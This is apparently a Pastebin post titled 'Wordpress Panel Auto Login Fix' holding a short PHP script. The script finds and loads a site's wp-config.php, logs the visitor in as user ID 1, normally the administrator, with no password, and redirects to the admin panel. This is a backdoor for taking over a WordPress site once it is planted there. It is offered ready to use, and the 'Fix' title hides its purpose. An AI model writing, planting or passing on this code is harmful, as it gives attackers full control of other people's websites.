Advertisement
willysec_id

Wordpress Panel Auto Login Fix

Jun 25th, 2024
585
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.48 KB | Cybersecurity | 0 0
  1. <?php
  2. //26 June 2024 - @willygoid
  3. $path = __DIR__;
  4. while ($path && !file_exists($path . '/wp-config.php')) {
  5.     $parent_path = dirname($path);
  6.     if ($parent_path === $path) break;
  7.     $path = $parent_path;
  8. }
  9.  
  10. if ($path && file_exists($path . '/wp-config.php')) {
  11.     include($path . '/wp-config.php');
  12.     wp_clear_auth_cookie();
  13.     wp_set_current_user(1);
  14.     wp_set_auth_cookie(1);
  15.     wp_safe_redirect(admin_url());
  16. } else {
  17.     echo 'wp-config.php file not found';
  18. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement